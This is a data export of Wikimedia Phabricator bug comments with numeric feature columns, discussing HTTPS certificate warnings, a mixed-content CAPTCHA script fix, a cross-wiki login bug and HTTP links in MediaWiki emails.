183123,https://wikipedia.com and similar throw certificate warning,*** Bug 61228 has been marked as a duplicate of this bug. ***,,,1393239088,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-boev7byafz4tjdafsotq,task_subcomment,,True,c2,3,True,,,25,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 61228 has been marked as a duplicate of this bug. ***
183117,https://wikipedia.com and similar throw certificate warning,"Just a matter of $$$. Do we want to pay for this? As already mentioned, needs data/analytics to make an informed decision if it's worth it to get more wildcard certs.",,,1376047950,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-boev7byafz4tjdafsotq,task_subcomment,,True,c2,2,True,,,-3,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,18.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,8.0,2.0,0.0,8.0,0.0,0.0,0.0,0.0,10.0,0.0,2.0,0.0,8.0,18.0,0.0,2.0,0.0,0.0,8.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,3.4,0.85,"Just a matter of $$$. Do we want to pay for this? As already mentioned, needs data/analytics to make an informed decision if it's worth it to get more wildcard certs."
183110,https://wikipedia.com and similar throw certificate warning,This includes https://wikipedia.com and https://wikipedia.net,,,1375517056,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-boev7byafz4tjdafsotq,task_subcomment,,True,c2,2,False,,,-4,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,60.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.2,0.8,This includes URL and URL
183103,https://wikipedia.com and similar throw certificate warning,"(In reply to comment #0)
> From bug 34788 comment #8:
>> On a related note, if you go to .com addresses (like https://en.wikipedia.com/)
>> using HTTPS protocol, before you get forwarded to the .org address, you will
>> get an error message regarding the SSL key. That is because the .com addresses
>> use the SSL key that is for *.wikipedia.org

It'd be nice to know how common this is (usage stats, I guess). It's been quite some time since wikipedia.com was the primary domain. :-)",,,1350100865,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-boev7byafz4tjdafsotq,task_subcomment,,True,c2,1,True,,,-46,True,2.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,4.0,8.0,0.0,4.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,14.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,8.0,18.0,4.0,0.0,6.0,0.0,2.0,0.0,2.0,6.0,0.0,2.0,0.0,6.0,8.0,6.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,3.235294117647059,0.7450980392156863,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

It'd be nice to know how common this is (usage stats, I guess). It's been quite some time since wikipedia.com was the primary domain. :-)"
42631,"Asirra link hardcoded as http, caused mixed content warnings when used over https","**Author:** `jacoblesser`

**Description:**
The link to the Asirra clientscript is hardcoded as http://.  This causes mixed content warnings in internet explorer when viewed over a secure https:// connection and the CAPTCHA does not display.  This can be fixed by modifying line 8 of Asirra.class.php from this:

public $asirra_clientscript = 'http://challenge.asirra.com/js/AsirraClientSide.js';

to this:

public $asirra_clientscript = '//challenge.asirra.com/js/AsirraClientSide.js';

--------------------------
**Version**: master
**Severity**: minor",Low,25.0,1348960440,1370483451.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-6o3fbg25oovih6ra7fft,task_description,resolved,True,c2,1,False,False,True,-48,True,0.0,0.0,0.0,1.0,0.5,3.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.5,0.0,0.0,0.0,0.0,14.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,2.0,1.0,9.5,0.5,0.5,5.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,7.0,6.0,0.0,3.0,0.0,0.0,0.0,0.5,0.5,0.0,1.0,0.0,0.0,0.0,4.303921568627452,0.696078431372549,"**Author:** CODE

**Description:**
The link to the Asirra clientscript is hardcoded as URL  This causes mixed content warnings in internet explorer when viewed over a secure https:// connection and the CAPTCHA does not display.  This can be fixed by modifying line 8 of Asirra.class.php from this:

public $asirra_clientscript = 'URL

to this:

public $asirra_clientscript = '//challenge.asirra.com/js/AsirraClientSide.js';

--------------------------
**Version**: master
**Severity**: minor"
186478,"Asirra link hardcoded as http, caused mixed content warnings when used over https",Merged,,,1370483451,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-6o3fbg25oovih6ra7fft,task_subcomment,,True,c2,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,Merged
186472,"Asirra link hardcoded as http, caused mixed content warnings when used over https","They were able to fix it, so this is ready for review.",,,1370469060,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-6o3fbg25oovih6ra7fft,task_subcomment,,True,c2,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0714285714285716,1.0,"They were able to fix it, so this is ready for review."
186466,"Asirra link hardcoded as http, caused mixed content warnings when used over https","They replied to my email last week (sorry I forgot to update this), and after some troubleshooting, we tracked down a possible cause.  They are investigating if they can fix it on their end so https://challenge.asirra.com/js/AsirraClientSide.js has valid SSL.",,,1368495631,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-6o3fbg25oovih6ra7fft,task_subcomment,,True,c2,1,False,,,-16,True,2.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,15.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,11.0,4.0,2.0,7.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,17.0,15.0,4.0,0.0,0.0,0.0,17.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.760869565217391,0.9130434782608695,"They replied to my email last week (sorry I forgot to update this), and after some troubleshooting, we tracked down a possible cause.  They are investigating if they can fix it on their end so URL has valid SSL."
186457,"Asirra link hardcoded as http, caused mixed content warnings when used over https",Certificate checkers (e.g. https://www.digicert.com/help/ ) also indicate the root is not trusted.,,,1367611389,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-6o3fbg25oovih6ra7fft,task_subcomment,,True,c2,1,False,,,-17,True,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,14.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.285714285714286,1.0,Certificate checkers (e.g. URL ) also indicate the root is not trusted.
186449,"Asirra link hardcoded as http, caused mixed content warnings when used over https","Firefox accepts the SSL cert for https://challenge.asirra.com/js/AsirraClientSide.js, but Chromium does not, so I'm not sure we should merge this.

It is signed by what seems to be an obscure SSL issuer, ""MSIT Machine Auth CA 2"".

I emailed them to ask if it's possible for them to switch to a more compatible one.",,,1367610833,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-6o3fbg25oovih6ra7fft,task_subcomment,,True,c2,1,False,,,-17,True,0.0,0.0,0.0,2.0,3.0,6.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,6.0,12.0,0.0,5.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,3.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,19.0,2.0,2.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,11.0,12.0,12.0,0.0,3.0,0.0,11.0,0.0,2.0,3.0,3.0,0.0,2.0,0.0,0.0,3.359375,0.796875,"Firefox accepts the SSL cert for URL but Chromium does not, so I'm not sure we should merge this.

It is signed by what seems to be an obscure SSL issuer, ""MSIT Machine Auth CA 2"".

I emailed them to ask if it's possible for them to switch to a more compatible one."
186442,"Asirra link hardcoded as http, caused mixed content warnings when used over https",Related URL: https://gerrit.wikimedia.org/r/62186 (Gerrit Change Id31041b90f66e384f9e8caf1c247774e0c6b44e5),,,1367610370,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6o3fbg25oovih6ra7fft,task_subcomment,,True,c2,1,False,,,-17,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change Id31041b90f66e384f9e8caf1c247774e0c6b44e5)
42036,Logged out of other wikis on login to wikimania2012 wiki,"I was logged into all the main wikis, and when I visited wikimania2012.wikimedia.org I was not logged in, so I logged in using my unified account. However, I was simultaneously logged out of all the other sites including Meta and Wikipedia. When I logged back in to those wikis the login to the wikimania2012 wiki stayed.

--------------------------
**Version**: wmf-deployment
**Severity**: normal",Low,25.0,1346893020,1356473420.0,PHID-USER-wqc7ciyvfzunj3l2tvjt,False,,False,PHID-TASK-skiwlpxdecshfk64y4pv,task_description,resolved,True,c2,1,False,False,True,-51,True,2.0,0.0,0.0,4.0,1.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,10.0,0.0,0.0,0.0,0.0,0.0,9.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,4.0,15.0,2.0,2.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,10.0,6.0,0.0,0.0,0.0,9.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,4.158536585365853,0.5975609756097561,"I was logged into all the main wikis, and when I visited wikimania2012.wikimedia.org I was not logged in, so I logged in using my unified account. However, I was simultaneously logged out of all the other sites including Meta and Wikipedia. When I logged back in to those wikis the login to the wikimania2012 wiki stayed.

--------------------------
**Version**: wmf-deployment
**Severity**: normal"
200243,Logged out of other wikis on login to wikimania2012 wiki,"(In reply to comment #2)
> I think it's too late to worry about the Wikimania 2012 wiki, but think that
> https://gerrit.wikimedia.org/r/#/c/38722/ will fix it for the Wikimania 2013
> wiki.

Merged and deployed by Reedy on the 16th. Logging into wikimania2013wiki doesn't seem to log me out of other wikis.",,,1356473420,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-skiwlpxdecshfk64y4pv,task_subcomment,,True,c2,1,True,,,-36,True,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,21.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,18.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,8.0,0.0,3.0,0.0,3.0,21.0,13.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.5789473684210527,0.8421052631578947,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE

Merged and deployed by Reedy on the 16th. Logging into wikimania2013wiki doesn't seem to log me out of other wikis."
200238,Logged out of other wikis on login to wikimania2012 wiki,"Yeah, for example if I go to http://uk.wikimedia.org/wiki/Main_Page (the UK chapter wiki, but WMF hosted) I have to manually login.

I'm pretty sure a wiki needs to be included in ""Logging you in to Wikimedia's other projects"" (with the icon) to make it work, though I'm not expert at this and could be wrong.",,,1355501563,,PHID-USER-lzhljhpbm3qfphvqyill,False,,,PHID-TASK-skiwlpxdecshfk64y4pv,task_subcomment,,True,c2,1,False,,,-37,True,0.0,0.0,0.0,1.0,1.0,6.0,1.0,0.0,1.0,1.0,3.0,3.0,0.0,0.0,0.0,6.0,0.0,4.0,17.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,7.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,9.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,4.0,3.0,14.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,7.0,1.0,0.0,0.0,9.0,17.0,6.0,0.0,3.0,0.0,9.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,3.217391304347826,0.7391304347826086,"Yeah, for example if I go to URL (the UK chapter wiki, but WMF hosted) I have to manually login.

I'm pretty sure a wiki needs to be included in ""Logging you in to Wikimedia's other projects"" (with the icon) to make it work, though I'm not expert at this and could be wrong."
200235,Logged out of other wikis on login to wikimania2012 wiki,"I think it's too late to worry about the Wikimania 2012 wiki, but think that https://gerrit.wikimedia.org/r/#/c/38722/ will fix it for the Wikimania 2013 wiki.

I think the issue is that the wikimania wiki is not part of the CentralAuth ""Logging you in to Wikimedia's other projects:"" that you see when logging in.",,,1355501442,,PHID-USER-lzhljhpbm3qfphvqyill,False,,,PHID-TASK-skiwlpxdecshfk64y4pv,task_subcomment,,True,c2,1,False,,,-37,True,0.0,0.0,0.0,0.0,2.0,3.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,16.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,11.0,7.0,3.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,13.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,8.0,3.0,13.0,7.0,2.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,10.0,16.0,7.0,0.0,3.0,0.0,10.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,3.7049180327868854,0.6721311475409836,"I think it's too late to worry about the Wikimania 2012 wiki, but think that URL will fix it for the Wikimania 2013 wiki.

I think the issue is that the wikimania wiki is not part of the CentralAuth ""Logging you in to Wikimedia's other projects:"" that you see when logging in."
200231,Logged out of other wikis on login to wikimania2012 wiki,this seems to also occur with the wikimania 2013 wiki.,,,1355499645,,PHID-USER-lzhljhpbm3qfphvqyill,False,,,PHID-TASK-skiwlpxdecshfk64y4pv,task_subcomment,,True,c2,1,False,,,-37,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.090909090909091,1.0,this seems to also occur with the wikimania 2013 wiki.
41676,Links in MediaWiki emails should respect the user's https preference,"**Author:** `jack.sns`

**Description:**
The email I received from Chinese Wikipedia. All the link are http, not https.

Sometimes Wiki project send some E-mail to users and some of them have links, some links are https but some of them are not. For example, the Chinese Wikipedia send email to me about some article change but the link in the mail are all http. I usually https and when I click the link, I will log out. In addition, it's not safe. I think all the links should be https to make the connection safer. I hope someone can solve this problem. Thanks!

--------------------------
**Version**: unspecified
**Severity**: enhancement

**Attached**: {F10209}",Low,25.0,1346036040,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-yelvmbvdcoejarkbmecc,task_description,open,True,c2,1,False,False,,-53,True,4.5,0.5,0.0,0.0,1.5,4.5,2.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,4.0,0.0,3.5,6.0,0.5,0.5,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.5,0.0,7.0,1.5,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,3.5,0.0,1.5,0.0,0.0,0.0,11.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,4.5,3.0,14.0,0.5,2.0,9.5,0.0,0.0,0.5,0.0,2.5,0.5,0.0,0.0,6.0,6.0,3.5,0.0,0.0,0.0,6.0,0.0,0.5,0.0,1.5,0.0,0.5,0.0,0.0,3.5443037974683547,0.6139240506329113,"**Author:** CODE

**Description:**
The email I received from Chinese Wikipedia. All the link are http, not https.

Sometimes Wiki project send some E-mail to users and some of them have links, some links are https but some of them are not. For example, the Chinese Wikipedia send email to me about some article change but the link in the mail are all http. I usually https and when I click the link, I will log out. In addition, it's not safe. I think all the links should be https to make the connection safer. I hope someone can solve this problem. Thanks!

--------------------------
**Version**: unspecified
**Severity**: enhancement

**Attached**: {F10209}"
2199730,Links in MediaWiki emails should respect the user's https preference,"There is still a 'prefershttps' in MediaWiki, but it is hidden when [[https://www.mediawiki.org/wiki/Manual:$wgForceHTTPS|$wgForceHTTPS]] is true since rMWc75eef91bf27046ca (T256095).

Currently (1.41) $wgForceHTTPS is false by default, so there may be still MediaWiki installations with no mandatory HTTPS. This task should probably be part of a general task ""Prepare MW to be HTTPS-by-default but optionally HTTP-if-specifically-requested"" (but imho even in this scenario the per-user preference prefershttps should be removed).",,,1695717659,,PHID-USER-2nopae2cxuamwcbndaih,False,,,PHID-TASK-yelvmbvdcoejarkbmecc,task_subcomment,,True,c2,3,False,,,525,True,0.0,0.0,0.0,2.0,0.0,5.0,2.0,0.0,0.0,1.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,8.0,10.0,0.0,1.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,1.0,1.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,8.0,12.0,3.0,4.0,6.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,2.0,10.0,7.0,0.0,4.0,0.0,2.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,2.0,4.091836734693878,0.6632653061224489,"There is still a 'prefershttps' in MediaWiki, but it is hidden when [[URL is true since rMWc75eef91bf27046ca (T256095).

Currently (1.41) $wgForceHTTPS is false by default, so there may be still MediaWiki installations with no mandatory HTTPS. This task should probably be part of a general task ""Prepare MW to be HTTPS-by-default but optionally HTTP-if-specifically-requested"" (but imho even in this scenario the per-user preference prefershttps should be removed)."
1529769,Links in MediaWiki emails should respect the user's https preference,"I suspect this bug is invalid/decline-able at this point.

The links will follow `$wgServer` (in WMF is prot-rel) or `$wgCanonicalServer` (in WMF is https)

If any wiki is sending HTTP links when it's a HTTPS only wiki, that's a local config issue, or maybe some odd specific code hardcoding HTTP. Should be fixed in seperate tasks

>>! In T41676#5372307, @RazeSoldier wrote:
> I don't think there is https preference now.

Indeed. I think we had something for a while... but 8 years is a long time ago. There's certainly no preference to respect in current versions of MW",,,1592745398,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-yelvmbvdcoejarkbmecc,task_subcomment,,True,c2,3,True,,,355,True,1.5,1.0,0.0,1.0,0.0,7.0,2.0,0.0,0.0,0.5,3.0,0.0,0.0,0.5,1.0,2.5,1.0,4.5,6.5,1.0,1.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,6.0,1.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,12.5,0.5,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,3.5,4.0,12.0,1.0,2.5,7.0,0.0,0.0,0.0,0.0,2.5,0.0,1.0,0.0,3.0,6.5,5.0,0.0,0.0,0.0,3.0,0.0,0.5,3.0,0.0,0.5,0.0,0.0,0.0,3.5262987012987015,0.8115259740259739,"I suspect this bug is invalid/decline-able at this point.

The links will follow CODE (in WMF is prot-rel) or CODE (in WMF is https)

If any wiki is sending HTTP links when it's a HTTPS only wiki, that's a local config issue, or maybe some odd specific code hardcoding HTTP. Should be fixed in seperate tasks

QUOTE
QUOTE

Indeed. I think we had something for a while... but 8 years is a long time ago. There's certainly no preference to respect in current versions of MW"
1529742,Links in MediaWiki emails should respect the user's https preference,"As this issue is a general MediaWiki issue, not related to any Wikimedia Chinese Project since all email send from Wikimedia now are HTTPS as the canonical protocol, hence removing #chinese-sites.",,,1592731587,,PHID-USER-pb7r4bwzfkqxwgliqtet,False,,,PHID-TASK-yelvmbvdcoejarkbmecc,task_subcomment,,True,c2,3,False,,,355,True,5.0,0.0,0.0,0.0,3.0,8.0,3.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,14.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,19.0,3.0,0.0,14.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,4.486486486486487,0.918918918918919,"As this issue is a general MediaWiki issue, not related to any Wikimedia Chinese Project since all email send from Wikimedia now are HTTPS as the canonical protocol, hence removing #chinese-sites."
1325123,Links in MediaWiki emails should respect the user's https preference,I don't think there is https preference now.,,,1564394990,,PHID-USER-gbmieq6vqkhk6l7glmjd,False,,,PHID-TASK-yelvmbvdcoejarkbmecc,task_subcomment,,True,c2,3,False,,,308,True,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,10.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7,1.0,I don't think there is https preference now.
